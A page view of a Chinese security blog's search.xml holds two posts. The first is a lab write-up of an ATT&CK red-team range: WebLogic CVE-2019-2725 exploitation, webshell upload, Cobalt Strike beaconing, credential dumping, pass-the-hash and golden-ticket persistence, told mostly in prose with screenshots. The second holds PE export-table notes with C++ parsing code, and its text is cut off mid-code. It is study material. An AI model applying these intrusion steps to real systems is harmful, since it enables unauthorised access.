forked from zwz12138/zwz12138.github.io
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
3737 lines (3735 loc) · 931 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>ATT&CK红队评估二 内网靶场记录</title>
<url>/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/</url>
<content><![CDATA[<h1 id="attck红队评估二套靶场"><a class="markdownIt-Anchor" href="#attck红队评估二套靶场"></a> <strong>ATT&CK红队评估二套靶场</strong></h1>
<h2 id="0x00-环境搭建"><a class="markdownIt-Anchor" href="#0x00-环境搭建"></a> 0x00 环境搭建</h2>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211005203929704.png" alt="image-20211005203929704" style="zoom: 80%;">
<p> 这里有个坑,就是WEB靶机密码是不对的,就离谱,我网上找了半天也没看到有人说这个问题,最后看到一个师傅的博客上说web靶机密码不对可以还原虚拟机快照,WEB靶机恢复到快照1.3即可</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211005204330139.png" alt="image-20211005204330139" style="zoom:80%;">
<p>靶机配置:</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006223721115.png" alt="image-20211006223721115" style="zoom:80%;">
<h2 id="0x01-外网信息收集"><a class="markdownIt-Anchor" href="#0x01-外网信息收集"></a> 0x01 外网信息收集</h2>
<p><strong>注:我这搭建的的环境不太对劲,不管我怎么操作,WEB机器一直连不上域网络,而且登陆就会提示此工作站与域的信任关系失效,猜测应该和配置这个靶场的时间有关了,最后我只能先用本地administrator账号启动web服务</strong></p>
<p> 攻击机在192.168.111.128,先进行端口服务扫描</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211005231017582.png" alt="image-20211005231017582" style="zoom:80%;">
<p>看到7001开放weblogic服务,访问console目录发现有登陆页面</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211005231157395.png" alt="image-20211005231157395" style="zoom:80%;">
<p>GitHub上找了一个weblogic扫描工具进行扫描https://github.com/tangxiaofeng7/Weblogic-scan,存在cve-2019-2725漏洞</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211005231627720.png" alt="image-20211005231627720" style="zoom:80%;">
<h2 id="0x02-利用"><a class="markdownIt-Anchor" href="#0x02-利用"></a> 0x02 利用</h2>
<p>然后随便找了个利用工具上传冰蝎马</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211005232541381.png" alt="image-20211005232541381" style="zoom:80%;">
<p>使用工具连接</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/211005232733022.png" alt="image-20211005232733022" style="zoom: 67%;">
<p>执行命令查看基本信息,可以看到机器有双网卡,有存在域de1ay下</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211005233002342.png" alt="image-20211005233002342" style="zoom:80%;">
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211005233104949.png" alt="image-20211005233104949" style="zoom:80%;">
<p>使用cs上线</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211005234435060.png" alt="image-20211005234435060" style="zoom:80%;">
<p>冰蝎执行powershell上线</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006000431936.png" alt="image-20211006000431936" style="zoom:80%;">
<p>这里执行太久没有反应,我就多弄了一下,然后就这样了,emmm</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006000528210.png" alt="image-20211006000528210" style="zoom:80%;">
<p>beacon提权</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006001051755.png" alt="image-20211006001051755" style="zoom:80%;">
<p>看到密码是1qaz@WSX</p>
<p><img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006001551621.png" alt="image-20211006001551621"></p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006002034050.png" alt="image-20211006002034050" style="zoom:80%;">
<p>内外网端口探测,beacon命令portscan,我这环境和配置有点问题,其实我这台WEB机器不能连接上delay的域网络,登陆不了域内账号,我试了很多遍,最后只能先使用本地账号开启web服务,理论上这里可以看到10.10.10.201的pc机器。</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006214921960.png" alt="image-20211006214921960" style="zoom:80%;">
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006215008478.png" alt="image-20211006215008478" style="zoom:80%;">
<p>由于以上原因,我先跳过横向移动过程,理论上面端口扫描是可以看得到域内10.10.10.201的win7的pc机的,这里直接手动上线这台机器进行下一步操作了,emmm。</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006215410344.png" alt="image-20211006215410344" style="zoom:80%;">
<p>看域的名称</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006223346131.png" alt="image-20211006223346131" style="zoom:80%;">
<p>再次扫描域网段10.10.10.0/24,发现10.10.10.10有可能就是域控</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image4036398.png" alt="image-20211006224036398" style="zoom:80%;">
<h2 id="0x03-pth攻击"><a class="markdownIt-Anchor" href="#0x03-pth攻击"></a> 0x03 pth攻击</h2>
<p>先抓取这台机器上的账号密码,然后pth攻击</p>
<p><img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006225229969.png" alt="image-20211006225229969"></p>
<p>不过我这使用本机监听失败了,因为这个DC不出网,不过我看网上payload使用smb监听也失败了,emmm,可能真是我这个环境配的有问题,先到这,后面研究下,或者先换个靶场做</p>
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006225536118.png" alt="image-20211006225536118" style="zoom:80%;">
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image-20211006225714893.png" alt="image-20211006225714893" style="zoom:80%;">
<img src="/2021/10/03/ATT-CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E4%BA%8C-%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0/image226.png" alt="image-20211006230321226" style="zoom:80%;">
<h2 id="0x04-使用其他漏洞渗透"><a class="markdownIt-Anchor" href="#0x04-使用其他漏洞渗透"></a> 0x04 使用其他漏洞渗透</h2>
<p> 看网上说可以使用MS17010,加msf派生shell,后续测试</p>
<h2 id="0x05-权限维持知识"><a class="markdownIt-Anchor" href="#0x05-权限维持知识"></a> 0x05 权限维持(知识)</h2>
<p><strong>基本知识:</strong></p>
<p>做权限维持方式很多,粘滞键、启动项、影子用户等等。这次是拿到域控,这种情况下,黄金票据是一个很好的维权手段 黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。</p>
<h3 id="黄金票据的条件要求"><a class="markdownIt-Anchor" href="#黄金票据的条件要求"></a> <strong>黄金票据的条件要求</strong>:</h3>
<p>1.域名称2.域的SID值3.域的KRBTGT账户NTLM密码哈希4.伪造用户名</p>
<p>黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。</p>
<p><strong>也就是需要拿到域内KRBTGT账户,通常在DC上抓取密码</strong></p>
]]></content>
<categories>
<category>web学习</category>
<category>学习</category>
</categories>
<tags>
<tag>web学习</tag>
</tags>
</entry>
<entry>
<title>PE文件结构学习-2</title>
<url>/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/</url>
<content><![CDATA[<h1 id="rva转foa的过程"><a class="markdownIt-Anchor" href="#rva转foa的过程"></a> Rva转Foa的过程</h1>
<p>1.判断Rva减去imagebase对比sizeofheader的大小,如果比这个小,那说明这个Rva减去imagebase对比sizeofheader就是foa</p>
<p>2.如果上述不成立,则遍历节表的virtualaddress,看位于哪2个节表之间,判断成功后用节表的pointtoraw+rva-virtualaddress,就是得到的foa</p>
<h2 id="foa转rva"><a class="markdownIt-Anchor" href="#foa转rva"></a> foa转rva</h2>
<p>反过来就行,先看这个foa在那个节,计算与这个节pointtoraw地址的偏移,然后加上这个节的virtualaddress</p>
<p>代码待补充</p>
<h1 id="动态链接库测试"><a class="markdownIt-Anchor" href="#动态链接库测试"></a> 动态链接库测试</h1>
<h2 id="隐式链接"><a class="markdownIt-Anchor" href="#隐式链接"></a> 隐式链接</h2>
<p>vs创建dll项目,pch.cpp和pch.h如下</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// pch.cpp: 与预编译标头对应的源文件</span><br><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pch.h"</span></span><br><br><span class="hljs-comment">// 当使用预编译的头时,需要使用此源文件,编译才能成功。</span><br><span class="hljs-function"><span class="hljs-keyword">int</span> __stdcall <span class="hljs-title">Plus</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">return</span> x + y;<br>}<br><span class="hljs-function"><span class="hljs-keyword">int</span> __stdcall <span class="hljs-title">Sub</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">return</span> x - y;<br>}<br><span class="hljs-function"><span class="hljs-keyword">int</span> __stdcall <span class="hljs-title">Mul</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">return</span> x * y;<br>}<br><span class="hljs-function"><span class="hljs-keyword">int</span> __stdcall <span class="hljs-title">Div</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">return</span> x / y;<br>}<br></code></pre></td></tr></table></figure>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// pch.h: 这是预编译标头文件。</span><br><span class="hljs-comment">// 下方列出的文件仅编译一次,提高了将来生成的生成性能。</span><br><span class="hljs-comment">// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。</span><br><span class="hljs-comment">// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。</span><br><span class="hljs-comment">// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。</span><br><br><span class="hljs-keyword">extern</span> <span class="hljs-string">"C"</span> <span class="hljs-keyword">int</span> _declspec(dllexport) <span class="hljs-function">__stdcall <span class="hljs-title">Plus</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span>;<br><span class="hljs-keyword">extern</span> <span class="hljs-string">"C"</span> <span class="hljs-keyword">int</span> _declspec(dllexport) <span class="hljs-function">__stdcall <span class="hljs-title">Sub</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span>;<br><span class="hljs-keyword">extern</span> <span class="hljs-string">"C"</span> <span class="hljs-keyword">int</span> _declspec(dllexport) <span class="hljs-function">__stdcall <span class="hljs-title">Mul</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span>;<br><span class="hljs-keyword">extern</span> <span class="hljs-string">"C"</span> <span class="hljs-keyword">int</span> _declspec(dllexport) <span class="hljs-function">__stdcall <span class="hljs-title">Div</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span>;<br><br><br><span class="hljs-meta">#<span class="hljs-meta-keyword">ifndef</span> PCH_H</span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> PCH_H</span><br><br><span class="hljs-comment">// 添加要在此处预编译的标头</span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"framework.h"</span></span><br><br><span class="hljs-meta">#<span class="hljs-meta-keyword">endif</span> <span class="hljs-comment">//PCH_H</span></span><br><br></code></pre></td></tr></table></figure>
<p>把生成的dll,pch.h,framkwork.h,lib拷贝到测试项目里</p>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/222.png" alt="image-20220310194805992" style="zoom: 50%;">
<p>测试项目加入</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-meta">#<span class="hljs-meta-keyword">pragma</span> comment(lib, <span class="hljs-meta-string">"Dll1.lib"</span>)</span><br><br><br><span class="hljs-keyword">extern</span> <span class="hljs-string">"C"</span> __declspec(dllimport) <span class="hljs-function"><span class="hljs-keyword">int</span> __stdcall <span class="hljs-title">Plus</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span>;<br><span class="hljs-keyword">extern</span> <span class="hljs-string">"C"</span> __declspec(dllimport) <span class="hljs-function"><span class="hljs-keyword">int</span> __stdcall <span class="hljs-title">Sub</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span>;<br><span class="hljs-keyword">extern</span> <span class="hljs-string">"C"</span> __declspec(dllimport) <span class="hljs-function"><span class="hljs-keyword">int</span> __stdcall <span class="hljs-title">Mul</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span>;<br><span class="hljs-keyword">extern</span> <span class="hljs-string">"C"</span> __declspec(dllimport) <span class="hljs-function"><span class="hljs-keyword">int</span> __stdcall <span class="hljs-title">Div</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span></span>;<br></code></pre></td></tr></table></figure>
<p>编译即可</p>
<h2 id="函数无名字导出"><a class="markdownIt-Anchor" href="#函数无名字导出"></a> 函数无名字导出</h2>
<p>新建立一个模块</p>
<p><img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220316102255477.png" alt="image-20220316102255477"></p>
<p>输入如下</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++">LIBRARY<br>EXPORTS <br> <br>Plus @<span class="hljs-number">12</span><br>Sub @<span class="hljs-number">15</span> NONAME <span class="hljs-comment">//要不使用名字导出的函数</span><br>Mul @<span class="hljs-number">13</span><br>Div @<span class="hljs-number">16</span><br><br></code></pre></td></tr></table></figure>
<h1 id="导出表"><a class="markdownIt-Anchor" href="#导出表"></a> 导出表</h1>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220308231541901.png" alt="image-20220308231541901" style="zoom: 67%;">
<figure class="highlight awk"><table><tr><td class="code"><pre><code class="hljs awk"> DWORD NumberOfFunctions; <br> 根据导出函数的序号最大的减最小+<span class="hljs-number">1</span>的得出,所以不一定是真实的个数<br>DWORD AddressOfFunctions; <span class="hljs-regexp">//</span> 导出函数地址表RVA<br>有可能是空的->指这个地方无对应序号的函数<br>DWORD Base;<br>此数据加上(DWORD AddressOfNameOrdinals; <span class="hljs-regexp">//</span> 导出函数序号表RVA)里的序号 才是导出时函数的序号<br><br></code></pre></td></tr></table></figure>
<h2 id="按名字找函数"><a class="markdownIt-Anchor" href="#按名字找函数"></a> 按名字找函数</h2>
<p>DWORD AddressOfNames; ->找到名字,然后根据找到的函数对应的下标->DWORD AddressOfNameOrdinals;对应的下标找到序号->到DWORD AddressOfFunctions;表里找到对应此下标的函数</p>
<h2 id="序号查找"><a class="markdownIt-Anchor" href="#序号查找"></a> 序号查找</h2>
<p>给出的序号减去DWORD Base;,根据下标到AddressOfNames;寻找地址即可</p>
<p>给的图例:</p>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220308234327903.png" alt="image-20220308234327903" style="zoom: 67%;">
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220308234515094.png" alt="image-20220308234515094" style="zoom: 67%;">
<p><strong>名字表的索引是用来定位序号表的序号:名字表[2]->序号表[2]->取出序号</strong></p>
<p><strong>!!序号对应地址表的索引,如果是无名的函数,序号应该是地址表的下标加base</strong></p>
<h2 id="写的程序"><a class="markdownIt-Anchor" href="#写的程序"></a> 写的程序</h2>
<p>我觉得我写的有点乱,看网上是最好根据<strong>函数地址表</strong>来查另外两个表然后定位和输出</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">showEXPORT_DIRECTORY</span><span class="hljs-params">(LPVOID pFileBuffer)</span> </span>{<br><br> PIMAGE_NT_HEADERS pNtHeaders = <span class="hljs-literal">NULL</span>;<br> PIMAGE_EXPORT_DIRECTORY exportDIRECTORY = <span class="hljs-literal">NULL</span>;<br><br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(pFileBuffer);<br> exportDIRECTORY = (PIMAGE_EXPORT_DIRECTORY) pNtHeaders->OptionalHeader.DataDirectory[<span class="hljs-number">0</span>].VirtualAddress;<br> exportDIRECTORY = (PIMAGE_EXPORT_DIRECTORY) <span class="hljs-built_in">RVAtoFOA</span>((DWORD)exportDIRECTORY, pFileBuffer);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"******************************\n"</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表文件地址:%x\n"</span>, exportDIRECTORY);<br><br> PIMAGE_EXPORT_DIRECTORY exportDIRECTORYfilebuffer = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)exportDIRECTORY + (DWORD)pFileBuffer);<br><br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数个数:%x\n"</span>, exportDIRECTORYfilebuffer->NumberOfFunctions);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表有名字的函数个数:%x\n"</span>, exportDIRECTORYfilebuffer->NumberOfNames);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"******************************\n"</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数地址表文件地址:%x\n"</span>, <span class="hljs-built_in">RVAtoFOA</span>(exportDIRECTORYfilebuffer->AddressOfFunctions,pFileBuffer));<br><br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i < exportDIRECTORYfilebuffer->NumberOfFunctions; i++) {<br><br> DWORD* tureAddressOfFunctions = (DWORD*)((DWORD)pFileBuffer + <span class="hljs-built_in">RVAtoFOA</span>(exportDIRECTORYfilebuffer->AddressOfFunctions, pFileBuffer)) + i;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数地址表文件地址%x:%x\n"</span>, i,(DWORD)<span class="hljs-built_in">RVAtoFOA</span>((DWORD)tureAddressOfFunctions- (DWORD)pFileBuffer,pFileBuffer));<br> }<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"******************************\n"</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数名字表文件地址:%x\n"</span>, <span class="hljs-built_in">RVAtoFOA</span>(exportDIRECTORYfilebuffer->AddressOfNames, pFileBuffer));<br><br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i < exportDIRECTORYfilebuffer->NumberOfNames; i++) {<br> DWORD* tureAddressOfNames = (DWORD*)((DWORD)pFileBuffer + <span class="hljs-built_in">RVAtoFOA</span>(exportDIRECTORYfilebuffer->AddressOfNames, pFileBuffer))+i;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数名字表文件中地址的值:%x\n"</span>, *tureAddressOfNames);<br><br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数名字表文件地址:%x\n"</span>, <span class="hljs-built_in">RVAtoFOA</span>((DWORD)*tureAddressOfNames,pFileBuffer));<br><br> PCHAR Nameaddr = (PCHAR)((BYTE*)<span class="hljs-built_in">RVAtoFOA</span>((DWORD)*tureAddressOfNames, pFileBuffer) + (DWORD)pFileBuffer);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数%x名字:%s\n"</span>,i,Nameaddr );<br> }<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"******************************\n"</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数序号表base:%x\n"</span>, exportDIRECTORYfilebuffer->Base);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数序号表文件地址:%x\n"</span>, <span class="hljs-built_in">RVAtoFOA</span>(exportDIRECTORYfilebuffer->AddressOfNameOrdinals, pFileBuffer));<br><br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i < exportDIRECTORYfilebuffer->NumberOfNames; i++) {<br> WORD* tureAddressOfxvhao = (WORD*)((DWORD)pFileBuffer + <span class="hljs-built_in">RVAtoFOA</span>(exportDIRECTORYfilebuffer->AddressOfNameOrdinals, pFileBuffer)) + i;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数序号表序号[%x]的值:%x\n"</span>, i,*tureAddressOfxvhao);<br><br> <span class="hljs-comment">///printf("导出表函数名字表文件地址:%x\n", 